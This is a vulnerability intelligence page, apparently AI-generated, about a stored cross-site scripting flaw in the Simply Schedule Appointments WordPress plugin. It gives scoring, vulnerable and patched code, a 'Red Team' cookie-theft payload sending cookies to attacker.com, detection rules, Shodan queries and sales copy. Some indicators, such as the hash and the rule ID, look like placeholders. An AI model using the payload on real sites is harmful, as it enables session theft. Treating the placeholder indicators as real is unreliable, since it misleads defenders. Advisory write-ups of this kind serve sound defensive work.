☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Simply schedule appointments logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-7877

CVE-2024-7877 Cross-Site Scripting in Simply schedule appointments
📅 PUBLISHED: 2024-11-05 06:00 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-7877 is a Stored Cross-Site Scripting (XSS) vulnerability identified in the WordPress plugin "Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin" (versions before 1.6.7.55). This flaw allows authenticated users with high privileges (such as administrators) to inject arbitrary web scripts or HTML into the plugin's Notification settings. The injected payload is stored and executed whenever the settings page is viewed, potentially leading to session hijacking, credential theft, or further compromise of the WordPress admin panel. The vulnerability is particularly dangerous because it can be exploited even when the unfiltered_html capability is disallowed, bypassing a standard WordPress security control.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The supply chain risk is moderate, as the plugin is a third-party component integrated into WordPress sites. Administrators should ensure they are using the latest patched version (1.6.7.55) and verify the integrity of the plugin files. No known malicious packages or compromised updates have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.8 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network – The vulnerability can be exploited remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): High – An attacker must have administrator-level access to the WordPress site.
  • User Interaction (UI): Required – The victim (another admin or user viewing the settings) must interact with the malicious content.
  • Scope (S): Changed – The impact extends beyond the vulnerable component (e.g., to the admin's browser session).
  • Confidentiality (C): Low – Limited information disclosure possible.
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the requirement for high privileges reduces the immediate risk. However, once an attacker gains admin access, this vulnerability can be used to escalate privileges or maintain persistence.

Deep Dive & Mechanics

The vulnerability resides in the Notification settings of the Simply Schedule Appointments plugin. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database and later rendering it in the admin panel. Specifically, the ssa_notification_subject and ssa_notification_message fields are vulnerable.

Root Cause: The plugin uses wp_kses() or similar functions incorrectly, or omits output escaping when displaying the stored notification settings. This allows an attacker to inject JavaScript or HTML that will be executed in the context of the admin page.

Attack Flow:

  1. An attacker with admin privileges navigates to the plugin's Notification settings.
  2. The attacker injects a malicious payload into one of the notification fields (e.g., <script>alert('XSS')</script>).
  3. The payload is stored in the WordPress database without proper sanitization.
  4. When another admin (or the same admin) views the Notification settings page, the payload is rendered and executed.
  5. The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to a malicious site.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.6.7.55):

// In the plugin's admin settings page
echo '<input type="text" name="ssa_notification_subject" value="' . get_option('ssa_notification_subject') . '" />';

The value is directly echoed without escaping, allowing stored XSS.

Patched Code (version 1.6.7.55):

// In the plugin's admin settings page
echo '<input type="text" name="ssa_notification_subject" value="' . esc_attr(get_option('ssa_notification_subject')) . '" />';

The esc_attr() function is used to escape the output, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress admin credentials (e.g., admin:password123)
  • Simply Schedule Appointments plugin version < 1.6.7.55

Steps:

  1. Log in to the WordPress admin panel.
  2. Navigate to Appointments > Settings > Notifications.
  3. In the "Email Subject" or "Email Body" field, inject the following payload:
    <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Save the settings.
  5. When another admin views the same page, the script executes and sends the cookie to the attacker's server.

Alternative Payload (for demonstration):

<img src=x onerror=alert('XSS')>

Blue Team (Detection & Hardening)

Detection:

  • Monitor WordPress admin logs for changes to plugin settings.
  • Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to /wp-admin/admin.php?page=ssa-settings.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

  • Update the plugin to version 1.6.7.55 or later.
  • Restrict admin access to trusted users only.
  • Enable DISALLOW_UNFILTERED_HTML in wp-config.php (though this vulnerability bypasses it, it's still a good practice).
  • Regularly audit plugin settings for suspicious content.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • simply-schedule-appointments.1.6.7.54.zip: a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
  • Network Indicators:
    • Outbound HTTP requests to known malicious domains (e.g., attacker.com/steal.php).
  • Log Entries:
    • WordPress admin log entries showing modification of ssa_notification_subject or ssa_notification_message options.
  • Database Indicators:
    • Rows in wp_options table with option_name like ssa_notification_% containing <script> tags.

Detection Engineering

YARA Rule

rule CVE_2024_7877_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Simply Schedule Appointments plugin settings"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-7877"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script[^>]*>/ nocase
        $xss_img = /<img[^>]+onerror\s*=[^>]*>/ nocase
        $xss_svg = /<svg[^>]+onload\s*=[^>]*>/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-7877 Stored XSS in Simply Schedule Appointments
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit stored XSS in the plugin's notification settings
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7877
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # WordPress admin action
        ObjectName: 'ssa_notification_subject'
        Details|contains|all:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in notifications (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-7877 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=ssa-settings"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update the Simply Schedule Appointments plugin to version 1.6.7.55 or later.
  2. If immediate update is not possible, disable the plugin temporarily.
  3. Review and sanitize all existing notification settings for any injected scripts.

Long-term Mitigations:

  • Implement a Web Application Firewall (WAF) with XSS protection rules.
  • Enforce the principle of least privilege for WordPress admin accounts.
  • Regularly audit and update all WordPress plugins and themes.
  • Use security plugins like Wordfence or Sucuri to monitor for malicious activity.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis or incident response, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Simply Schedule Appointments"
http.html:"wp-content/plugins/simply-schedule-appointments"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-7877/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.